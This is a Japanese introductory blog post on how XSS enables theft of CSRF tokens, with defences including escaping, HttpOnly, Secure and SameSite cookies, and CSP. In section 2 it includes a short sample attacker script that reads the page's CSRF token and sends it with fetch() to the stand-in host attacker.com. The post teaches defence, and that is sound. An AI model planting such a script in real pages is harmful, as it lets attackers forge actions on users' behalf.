【入門編】XSSによるCSRFトークン窃取と攻撃の連鎖 – アプリケーションセキュリティ & 安全な開発防御ガイド

「XSSでCSRFトークンが盗まれる?」攻撃の連鎖を防ぐための防犯講座

こんにちは!セキュリティの現場で日々、泥臭い攻防を繰り広げているエンジニアです。

今日は、開発現場でよく耳にする「XSS(クロスサイト・スクリプティング)」と「CSRF(クロスサイト・リクエスト・フォージェリ)」という、ちょっと難しそうな二つの攻撃が、結託して襲いかかってくる最悪のシナリオについてお話しします。

「名前が似ていてややこしい!」と思うかもしれませんが、大丈夫。身近な「家の防犯」に例えて、一つずつ紐解いていきましょう。

—

1. まずは整理:泥棒の役割分担

セキュリティの世界では、攻撃者はよくチームプレーをします。

  • XSS(泥棒の「合鍵職人」):

ウェブサイトに「悪意のあるプログラム(スクリプト)」を忍び込ませて、あなたのブラウザ上で勝手に動かします。あなたのブラウザに「このサイトの機密情報を見せて」と命令を下せる、最強の合鍵職人です。

  • CSRF(泥棒の「成りすまし犯」):

あなたがログインしていることを悪用して、あなたの代わりに「パスワード変更」や「送金」といった重要な操作をWebサイトにリクエストさせます。

「XSSでCSRFトークンを盗む」とは、どういうことか。
本来、CSRFを防ぐためにWebサイトは「CSRFトークン」という「使い捨ての秘密の合言葉」を個人の画面に発行しています。しかし、XSSで画面を操作できる状態になると、泥棒はあなたの画面を覗き見して、その「合言葉」をそのまま盗み出せてしまうのです。

これで、泥棒は「正当な通行人」として、正面突破で悪行を働けるようになります。これが「攻撃の連鎖」の恐ろしさです。

—

2. なぜ「合言葉」が盗まれるのか?

Webサイトは、ユーザーが送った操作が「本人の意思によるものか」を確認するために、裏側でトークンをチェックしています。


もし、あなたのサイトにXSSの穴があると、攻撃者は以下のような短いプログラムを実行させます。

// 攻撃者のコード:画面上のトークンをこっそり盗む
const token = document.querySelector(‘input[name=”csrf_token”]’).value;
// 盗んだトークンを攻撃者のサーバーへ送信!
fetch(‘https://attacker.com/steal?token=’ + token);

こうなると、もう防壁は崩壊したも同然です。では、どうやってこれを防げばいいのでしょうか?

—

3. 「二重の防犯」でサイトを守る

対策は、泥棒を家に入れない工夫と、入ってきても金庫を開けさせない工夫の組み合わせです。

対策その1:XSSを防ぐ(入り口の封鎖)

まずは、合鍵を作らせないこと。ユーザーから受け取ったデータを、そのまま画面に出力してはいけません。

  • エスケープ処理を徹底する:
    のようなHTMLタグを「ただの文字列」として扱う処理です。
  • 信頼できるフレームワークを使う: 最近のReactやVue.jsなどは、デフォルトでこの対策が組み込まれているので、積極的に活用しましょう。

対策その2:Cookieを守る(奥の防犯)

CSRFトークンが盗まれても、セッション情報(あなたがログインしている証拠)を盗ませなければ被害は最小限です。

HttpOnly属性という設定をご存知でしょうか? これをCookieに付与すると、JavaScriptからそのCookieを読み取ることができなくなります。つまり、XSSでスクリプトが動いても、ログイン情報を盗めなくなるのです。

// PHPでのセッションクッキー設定例
session_set_cookie_params([
‘lifetime’ => 0,
‘httponly’ => true, // JavaScriptからのアクセスを禁止する(重要!)
‘secure’ => true, // HTTPS通信時のみ送信する
‘samesite’ => ‘Lax’ // CSRF対策の強力な味方「SameSite」属性
]);
session_start();

—

4. 今日からできるアクション

最後に、現場で今日から意識してほしい「防御の心得」を3つだけ挙げます。

1. 「入力はすべて疑え、出力はすべてエスケープせよ」: これが鉄則です。ユーザーが入力した文字をそのまま画面に表示するのは、家のドアを全開にするのと同じです。
2. SameSite=Lax または Strict を設定する: ブラウザのCookie設定で、サイトをまたいだリクエストを制限できます。これだけでCSRFの成功率は劇的に下がります。
3. セキュリティヘッダーを活用する: Content-Security-Policy (CSP) を設定しましょう。「このサイトで許可されていない外部スクリプトは一切動かさない」という強力な鎖です。

CSPの設定例(HTTPヘッダー)

信頼できる場所からのスクリプトしか実行させない設定
Content-Security-Policy: default-src ‘self’; script-src ‘self’;

—

最後に:完璧な防壁はない、だから多層防御を

セキュリティに「絶対」はありません。XSSの穴を見つけられる可能性はゼロではないし、ブラウザの新しい脆弱性が明日見つかるかもしれません。

だからこそ、「XSSで盗まれても、Cookieは読ませない」「CSRFトークンが盗まれても、Cookieがなければ操作は成立させない」という、複数の防犯ラインを重ねることが大切なんです。

焦らず、一つずつ自分のサイトのドアを固めていきましょう。何かあればいつでも相談してくださいね。一緒に安全なWebの世界を作っていきましょう!

コメント

タイトルとURLをコピーしました